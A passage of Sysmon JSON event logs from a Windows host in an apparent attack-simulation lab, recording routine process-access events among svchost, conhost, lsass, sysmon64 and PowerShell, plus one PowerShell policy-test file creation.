C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:30.931","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5248,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:30.931\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:30.931","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5249,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:30.931\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:30.931","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5250,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:30.931\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:30.931","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5251,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:30.931\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:30.931","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5252,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:30.931\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:30.931","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5253,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:30.931\r\nSourceProcessGUID: {90617006-416D-5F2D-0000-001008010800}\r\nSourceProcessId: 3632\r\nSourceThreadId: 4900\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-416E-5F2D-0000-001033270800}\r\nTargetProcessId: 4384\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:30.931","SourceProcessGUID":"{90617006-416D-5F2D-0000-001008010800}","SourceProcessId":"3632","SourceThreadId":"4900","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-416E-5F2D-0000-001033270800}","TargetProcessId":"4384","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5254,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:30.962\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-416E-5F2D-0000-001033270800}\r\nTargetProcessId: 4384\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:30.962","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-416E-5F2D-0000-001033270800}","TargetProcessId":"4384","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":5255,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:30.978\r\nProcessGuid: {90617006-416E-5F2D-0000-001033270800}\r\nProcessId: 4384\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\Users\\Administrator\\AppData\\Local\\Temp\\__PSScriptPolicyTest_urnayfln.lky.ps1\r\nCreationUtcTime: 2020-08-07 11:56:30.978","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:30.978","ProcessGuid":"{90617006-416E-5F2D-0000-001033270800}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\Users\\Administrator\\AppData\\Local\\Temp\\__PSScriptPolicyTest_urnayfln.lky.ps1","CreationUtcTime":"2020-08-07 11:56:30.978","EventReceivedTime":"2020-08-07 11:56:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5256,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:31.009\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-416E-5F2D-0000-001033270800}\r\nTargetProcessId: 4384\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: 